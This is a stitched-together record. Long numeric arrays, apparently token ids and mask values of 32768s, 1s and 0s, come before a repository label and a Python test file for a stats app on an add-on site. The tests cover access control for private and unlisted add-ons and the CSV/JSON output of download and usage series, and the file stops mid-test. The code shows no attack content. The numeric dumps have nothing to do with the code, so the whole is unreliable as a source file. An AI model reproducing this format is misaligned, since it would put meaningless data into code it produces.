32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 5611, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 1572, 1304, 12, 14875, 42, 344, 12, 5420, 12, 5420, 14919, 42, 344, 12, 5420, 1366, 12, 7143, 1366, 12, 623, 20989, 29, 403, 304, 267, 291, 423, 923, 1304, 3698, 275, 1572, 1304, 267, 291, 423, 9986, 42, 344, 263, 275, 14875, 42, 344, 267, 291, 423, 5875, 3698, 275, 5420, 267, 291, 423, 5875, 14919, 42, 344, 257, 275, 5420, 14919, 42, 344, 267, 291, 423, 5875, 1366, 755, 275, 1109, 8, 5875, 1366, 9, 267, 291, 423, 8782, 1366, 420, 275, 1109, 8, 8782, 1366, 9, 267, 291, 423, 31790, 420, 275, 623, 20989, 503, 1052, 339, 347, 664, 1304, 8, 277, 304, 267, 372, 291, 423, 923, 1304, 339, 347, 664, 17523, 8, 277, 304, 267, 372, 291, 423, 9986, 42, 344, 339, 347, 664, 14919, 8, 277, 304, 267, 372, 291, 14, 362, 17523, 342, 339, 347, 664, 13528, 8, 277, 304, 267, 372, 291, 423, 5875, 339, 347, 664, 13528, 14919, 8, 277, 304, 267, 372, 291, 423, 5875, 14919, 42, 344, 339, 347, 664, 13528, 1366, 8, 277, 304, 267, 372, 291, 423, 5875, 1366, 339, 347, 664, 13921, 1366, 8, 277, 304, 267, 372, 291, 423, 8782, 1366, 339, 347, 636, 495, 721, 277, 304, 267, 372, 298, 998, 26, 450, 83, 12, 26793, 26, 450, 83, 12, 9750, 425, 26, 450, 83, 12, 9750, 707, 26, 450, 83, 12, 26793, 593, 4977, 26, 450, 83, 12, 26793, 4703, 26, 450, 83, 60, 78, 1262, 20989, 26, 450, 83, 2, 450, 60, 355, 334, 277, 14, 362, 1304, 1062, 291, 14, 362, 13528, 1062, 291, 14, 362, 13921, 1366, 1062, 291, 14, 362, 17523, 1062, 221, 291, 14, 362, 13528, 14919, 1062, 291, 14, 362, 13528, 1366, 1062, 3872, 3680, 904, 8, 277, 423, 31790, 14, 1612, 4059, 339, 347, 664, 1262, 20989, 8, 277, 304, 267, 372, 291, 423, 31790, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
crdoconnor/olympia
apps/stats/tests/test_views.py
13
34435
# -*- coding: utf-8 -*- import csv import datetime import json import mock from nose.tools import eq_ from pyquery import PyQuery as pq import amo.tests from amo.urlresolvers import reverse from access.models import Group, GroupUser from addons.models import Addon from bandwagon.models import Collection from stats import views, tasks from stats import search from stats.models import (CollectionCount, DownloadCount, GlobalStat, ThemeUserCount, UpdateCount) from users.models import UserProfile class StatsTest(amo.tests.TestCase): fixtures = ['stats/test_views.json', 'stats/test_models.json'] def setUp(self): """Setup some reasonable testing defaults.""" super(StatsTest, self).setUp() # Default url_args to an addon and range with data. self.url_args = {'start': '20090601', 'end': '20090930', 'addon_id': 4} self.url_args_theme = {'start': '20090601', 'end': '20090930', 'addon_id': 6} # Most tests don't care about permissions. self.login_as_admin() def login_as_admin(self): self.client.logout() self.client.login(username='jbalogh@mozilla.com', password='password') def login_as_visitor(self): self.client.logout() self.client.login(username='nobodyspecial@mozilla.com', password='password') def get_view_response(self, view, **kwargs): view_args = self.url_args.copy() head = kwargs.pop('head', False) view_args.update(kwargs) url = reverse(view, kwargs=view_args) if head: return self.client.head(url, follow=True) return self.client.get(url, follow=True) def views_gen(self, **kwargs): # common set of views for series in views.SERIES: for group in views.SERIES_GROUPS: view = 'stats.%s_series' % series args = kwargs.copy() args['group'] = group yield (view, args) def public_views_gen(self, **kwargs): # all views are potentially public, except for contributions for view, args in self.views_gen(**kwargs): if not view.startswith('stats.contributions'): yield (view, args) def private_views_gen(self, **kwargs): # only contributions views are always private for view, args in self.views_gen(**kwargs): if view.startswith('stats.contributions'): yield (view, args) def _check_it(self, views, status): for view, kwargs in views: response = self.get_view_response(view, head=True, **kwargs) eq_(response.status_code, status, 'unexpected http status for %s. got %s. expected %s' % ( view, response.status_code, status)) class TestUnlistedAddons(StatsTest): def setUp(self): super(TestUnlistedAddons, self).setUp() Addon.objects.get(pk=4).update(is_listed=False) def test_no_stats_for_unlisted_addon(self): """All the views for the stats return 404 for unlisted addons.""" self.login_as_visitor() self._check_it(self.public_views_gen(format='json'), 404) self._check_it(self.private_views_gen(format='json'), 404) def test_stats_for_unlisted_addon_owner(self): """All the views for the stats return 404 for unlisted addons owner.""" self.login_as_admin() self._check_it(self.public_views_gen(format='json'), 200) self._check_it(self.private_views_gen(format='json'), 200) class ESStatsTest(StatsTest, amo.tests.ESTestCase): """Test class with some ES setup.""" def setUp(self): super(ESStatsTest, self).setUp() self.empty_index('stats') self.index() def index(self): updates = UpdateCount.objects.values_list('id', flat=True) tasks.index_update_counts(list(updates)) downloads = DownloadCount.objects.values_list('id', flat=True) tasks.index_download_counts(list(downloads)) user_counts = ThemeUserCount.objects.values_list('id', flat=True) tasks.index_theme_user_counts(list(user_counts)) self.refresh('stats') def csv_eq(self, response, expected): content = csv.DictReader( # Drop lines that are comments. filter(lambda row: row[0] != '#', response.content.splitlines())) expected = csv.DictReader( # Strip any extra spaces from the expected content. line.strip() for line in expected.splitlines()) self.assertEqual(tuple(content), tuple(expected)) class TestSeriesSecurity(StatsTest): """Tests to make sure all restricted data remains restricted.""" mock_es = True # We're checking only headers, not content. def test_private_addon_no_groups(self): # Logged in but no groups self.login_as_visitor() self._check_it(self.views_gen(format='json'), 403) def test_private_addon_stats_group(self): # Logged in with stats group. user = UserProfile.objects.get(email='nobodyspecial@mozilla.com') group = Group.objects.create(name='Stats', rules='Stats:View') GroupUser.objects.create(user=user, group=group) self.login_as_visitor() self._check_it(self.public_views_gen(format='json'), 200) self._check_it(self.private_views_gen(format='json'), 403) def test_private_addon_contrib_stats_group(self): # Logged in with stats and contrib stats group. user = UserProfile.objects.get(email='nobodyspecial@mozilla.com') group1 = Group.objects.create(name='Stats', rules='Stats:View') GroupUser.objects.create(user=user, group=group1) group2 = Group.objects.create(name='Revenue Stats', rules='RevenueStats:View') GroupUser.objects.create(user=user, group=group2) self.login_as_visitor() self._check_it(self.public_views_gen(format='json'), 200) self._check_it(self.private_views_gen(format='json'), 200) def test_private_addon_anonymous(self): # Not logged in self.client.logout() self._check_it(self.views_gen(format='json'), 403) def test_public_addon_no_groups(self): # Logged in but no groups self.login_as_visitor() self._check_it(self.public_views_gen(addon_id=5, format='json'), 200) self._check_it(self.private_views_gen(addon_id=5, format='json'), 403) def test_public_addon_stats_group(self): # Logged in with stats group. user = UserProfile.objects.get(email='nobodyspecial@mozilla.com') group = Group.objects.create(name='Stats', rules='Stats:View') GroupUser.objects.create(user=user, group=group) self.login_as_visitor() self._check_it(self.public_views_gen(addon_id=5, format='json'), 200) self._check_it(self.private_views_gen(addon_id=5, format='json'), 403) def test_public_addon_contrib_stats_group(self): # Logged in with stats and contrib stats group. user = UserProfile.objects.get(email='nobodyspecial@mozilla.com') group1 = Group.objects.create(name='Stats', rules='Stats:View') GroupUser.objects.create(user=user, group=group1) group2 = Group.objects.create(name='Revenue Stats', rules='RevenueStats:View') GroupUser.objects.create(user=user, group=group2) self.login_as_visitor() self._check_it(self.public_views_gen(addon_id=5, format='json'), 200) self._check_it(self.private_views_gen(addon_id=5, format='json'), 200) def test_public_addon_anonymous(self): # Not logged in self.client.logout() self._check_it(self.public_views_gen(addon_id=5, format='json'), 200) self._check_it(self.private_views_gen(addon_id=5, format='json'), 403) class TestCSVs(ESStatsTest): """Tests for CSV output of all known series views.""" def test_downloads_series(self): response = self.get_view_response('stats.downloads_series', group='month', format='csv') eq_(response.status_code, 200, 'unexpected http status') self.csv_eq(response, """date,count 2009-09-03,10 2009-08-03,10 2009-07-03,10 2009-06-28,10 2009-06-20,10 2009-06-12,10 2009-06-07,10 2009-06-01,10""") def test_usage_series(self): for url_args in [self.url_args, self.url_args_theme]: self.url_args = url_args response = self.get_view_response('stats.usage_series', group='month', format='csv') eq_(response.status_code, 200, 'unexpected http status') self.csv_eq(response, """date,count 2009-06-02,1500 2009-06-01,1000""") def test_contributions_series(self): response = self.get_view_response('stats.contributions_series', group='day', format='csv') eq_(response.status_code, 200, 'unexpected http status') self.csv_eq(response, """date,total,count,average 2009-06-02,4.98,2,2.49 2009-06-01,5.0,1,5.0""") def test_sources_series(self): response = self.get_view_response('stats.sources_series', group='month', format='csv') eq_(response.status_code, 200, 'unexpected http status') self.csv_eq(response, """date,count,search,api 2009-09-03,10,3,2 2009-08-03,10,3,2 2009-07-03,10,3,2 2009-06-28,10,3,2 2009-06-20,10,3,2 2009-06-12,10,3,2 2009-06-07,10,3,2 2009-06-01,10,3,2""") def test_os_series(self): response = self.get_view_response('stats.os_series', group='month', format='csv') eq_(response.status_code, 200, 'unexpected http status') self.csv_eq(response, """date,count,Windows,Linux 2009-06-02,1500,500,400 2009-06-01,1000,400,300""") def test_locales_series(self): response = self.get_view_response('stats.locales_series', group='month', format='csv') eq_(response.status_code, 200, 'unexpected http status') self.csv_eq( response, """date,count,English (US) (en-us),""" """\xce\x95\xce\xbb\xce\xbb\xce\xb7\xce\xbd\xce\xb9\xce\xba""" """\xce\xac (el) 2009-06-02,1500,300,400 2009-06-01,1000,300,400""") def test_statuses_series(self): response = self.get_view_response('stats.statuses_series', group='month', format='csv') eq_(response.status_code, 200, 'unexpected http status') self.csv_eq(response, """date,count,userEnabled,userDisabled 2009-06-02,1500,1370,130 2009-06-01,1000,950,50""") def test_versions_series(self): response = self.get_view_response('stats.versions_series', group='month', format='csv') eq_(response.status_code, 200, 'unexpected http status') self.csv_eq(response, """date,count,2.0,1.0 2009-06-02,1500,950,550 2009-06-01,1000,800,200""") def test_apps_series(self): response = self.get_view_response('stats.apps_series', group='month', format='csv') eq_(response.status_code, 200, 'unexpected http status') self.csv_eq(response, """date,count,Firefox 4.0 2009-06-02,1500,1500 2009-06-01,1000,1000""") def test_no_cache(self): """Test that the csv or json is not caching, due to lack of data.""" self.url_args = {'start': '20200101', 'end': '20200130', 'addon_id': 4} response = self.get_view_response('stats.versions_series', head=True, group='day', format='csv') eq_(response["cache-control"], 'max-age=0') self.url_args = {'start': '20200101', 'end': '20200130', 'addon_id': 4} response = self.get_view_response('stats.versions_series', head=True, group='day', format='json') eq_(response["cache-control"], 'max-age=0') def test_usage_series_no_data(self): url_args = [ {'start': '20010101', 'end': '20010130', 'addon_id': 4}, # Also test for themes. {'start': '20010101', 'end': '20010130', 'addon_id': 6} ] for url_arg in url_args: self.url_args = url_arg response = self.get_view_response('stats.usage_series', group='day', format='csv') eq_(response.status_code, 200) self.csv_eq(response, """date,count""") class TestCacheControl(StatsTest): """Tests we set cache control headers""" def _test_cache_control(self): response = self.get_view_response('stats.downloads_series', head=True, group='month', format='json') assert response.get('cache-control', '').startswith('max-age='), ( 'Bad or no cache-control: %r' % response.get('cache-control', '')) class TestLayout(StatsTest): def test_not_public_stats(self): r = self.client.get(reverse('stats.downloads', args=[4])) eq_(r.status_code, 404) def get_public_url(self): addon = amo.tests.addon_factory(public_stats=True) return reverse('stats.downloads', args=[addon.slug]) def test_public_stats_page_loads(self): r = self.client.get(self.get_public_url()) eq_(r.status_code, 200) def test_public_stats_stats_notes(self): r = self.client.get(self.get_public_url()) eq_(pq(r.content)('#stats-note h2').length, 1) class TestResponses(ESStatsTest): def test_usage_json(self): for url_args in [self.url_args, self.url_args_theme]: self.url_args = url_args r = self.get_view_response('stats.usage_series', group='day', format='json') eq_(r.status_code, 200) self.assertListEqual(json.loads(r.content), [ {'count': 1500, 'date': '2009-06-02', 'end': '2009-06-02'}, {'count': 1000, 'date': '2009-06-01', 'end': '2009-06-01'}, ]) def test_usage_csv(self): for url_args in [self.url_args, self.url_args_theme]: self.url_args = url_args r = self.get_view_response('stats.usage_series', group='day', format='csv') eq_(r.status_code, 200) self.csv_eq(r, """date,count 2009-06-02,1500 2009-06-01,1000""") def test_usage_by_app_json(self): r = self.get_view_response('stats.apps_series', group='day', format='json') eq_(r.status_code, 200) self.assertListEqual(json.loads(r.content), [ { "data": { "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}": {"4.0": 1500} }, "count": 1500, "date": "2009-06-02", "end": "2009-06-02" }, { "data": { "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}": {"4.0": 1000} }, "count": 1000, "date": "2009-06-01", "end": "2009-06-01" } ]) def test_usage_by_app_csv(self): r = self.get_view_response('stats.apps_series', group='day', format='csv') eq_(r.status_code, 200) self.csv_eq(r, """date,count,Firefox 4.0 2009-06-02,1500,1500 2009-06-01,1000,1000""") def test_usage_by_locale_json(self): r = self.get_view_response('stats.locales_series', group='day', format='json') eq_(r.status_code, 200) self.assertListEqual(json.loads(r.content), [ { "count": 1500, "date": "2009-06-02", "end": "2009-06-02", "data": { u"Ελληνικά (el)": 400, u"English (US) (en-us)": 300 } }, { "count": 1000, "date": "2009-06-01", "end": "2009-06-01", "data": { u"Ελληνικά (el)": 400, u"English (US) (en-us)": 300 } } ]) def test_usage_by_locale_csv(self): r = self.get_view_response('stats.locales_series', group='day', format='csv') eq_(r.status_code, 200) self.csv_eq(r, """date,count,English (US) (en-us),Ελληνικά (el) 2009-06-02,1500,300,400 2009-06-01,1000,300,400""") def test_usage_by_os_json(self): r = self.get_view_response('stats.os_series', group='day', format='json') eq_(r.status_code, 200) self.assertListEqual(json.loads(r.content), [ { "count": 1500, "date": "2009-06-02", "end": "2009-06-02", "data": { "Linux": 400, "Windows": 500 } }, { "count": 1000, "date": "2009-06-01", "end": "2009-06-01", "data": { "Linux": 300, "Windows": 400 } } ]) def test_usage_by_os_csv(self): r = self.get_view_response('stats.os_series', head=True, group='day', format='csv') eq_(r.status_code, 200) def test_usage_by_version_json(self): r = self.get_view_response('stats.versions_series', group='day', format='json') eq_(r.status_code, 200) self.assertListEqual(json.loads(r.content), [ { "count": 1500, "date": "2009-06-02", "end": "2009-06-02", "data": { "1.0": 550, "2.0": 950 } }, { "count": 1000, "date": "2009-06-01", "end": "2009-06-01", "data": { "1.0": 200, "2.0": 800 } } ]) def test_usage_by_version_csv(self): r = self.get_view_response('stats.versions_series', group='day', format='csv') eq_(r.status_code, 200) self.csv_eq(r, """date,count,2.0,1.0 2009-06-02,1500,950,550 2009-06-01,1000,800,200""") def test_usage_by_status_json(self): r = self.get_view_response('stats.statuses_series', group='day', format='json') eq_(r.status_code, 200) self.assertListEqual(json.loads(r.content), [ { "count": 1500, "date": "2009-06-02", "end": "2009-06-02", "data": { "userDisabled": 130, "userEnabled": 1370 } }, { "count": 1000, "date": "2009-06-01", "end": "2009-06-01", "data": { "userDisabled": 50, "userEnabled": 950 } } ]) def test_usage_by_status_csv(self): r = self.get_view_response('stats.statuses_series', group='day', format='csv') eq_(r.status_code, 200) self.csv_eq(r, """date,count,userEnabled,userDisabled 2009-06-02,1500,1370,130 2009-06-01,1000,950,50""") def test_overview(self): r = self.get_view_response('stats.overview_series', group='day', format='json') eq_(r.status_code, 200) # These are the dates from the fixtures. The return value will have # dates in between filled with zeroes. expected_data = [ {"date": "2009-09-03", "data": {"downloads": 10, "updates": 0}}, {"date": "2009-08-03", "data": {"downloads": 10, "updates": 0}}, {"date": "2009-07-03", "data": {"downloads": 10, "updates": 0}}, {"date": "2009-06-28", "data": {"downloads": 10, "updates": 0}}, {"date": "2009-06-20", "data": {"downloads": 10, "updates": 0}}, {"date": "2009-06-12", "data": {"downloads": 10, "updates": 0}}, {"date": "2009-06-07", "data": {"downloads": 10, "updates": 0}}, {"date": "2009-06-02", "data": {"downloads": 0, "updates": 1500}}, {"date": "2009-06-01", "data": {"downloads": 10, "updates": 1000}} ] actual_data = json.loads(r.content) # Make sure they match up at the front and back. eq_(actual_data[0]['date'], expected_data[0]['date']) eq_(actual_data[-1]['date'], expected_data[-1]['date']) end_date = expected_data[-1]['date'] expected, actual = iter(expected_data), iter(actual_data) next_expected, next_actual = next(expected), next(actual) while 1: if next_expected['date'] == next_actual['date']: # If they match it's a date we have data for. self.assertDictEqual(next_expected, next_actual) if next_expected['date'] == end_date: break next_expected, next_actual = next(expected), next(actual) else: # Otherwise just check that the data is zeroes. self.assertDictEqual(next_actual['data'], {'downloads': 0, 'updates': 0}) next_actual = next(actual) def test_downloads_json(self): r = self.get_view_response('stats.downloads_series', group='day', format='json') eq_(r.status_code, 200) self.assertListEqual(json.loads(r.content), [ {"count": 10, "date": "2009-09-03", "end": "2009-09-03"}, {"count": 10, "date": "2009-08-03", "end": "2009-08-03"}, {"count": 10, "date": "2009-07-03", "end": "2009-07-03"}, {"count": 10, "date": "2009-06-28", "end": "2009-06-28"}, {"count": 10, "date": "2009-06-20", "end": "2009-06-20"}, {"count": 10, "date": "2009-06-12", "end": "2009-06-12"}, {"count": 10, "date": "2009-06-07", "end": "2009-06-07"}, {"count": 10, "date": "2009-06-01", "end": "2009-06-01"}, ]) def test_downloads_csv(self): r = self.get_view_response('stats.downloads_series', group='day', format='csv') eq_(r.status_code, 200) self.csv_eq(r, """date,count 2009-09-03,10 2009-08-03,10 2009-07-03,10 2009-06-28,10 2009-06-20,10 2009-06-12,10 2009-06-07,10 2009-06-01,10""") def test_downloads_sources_json(self): r = self.get_view_response('stats.sources_series', group='day', format='json') eq_(r.status_code, 200) 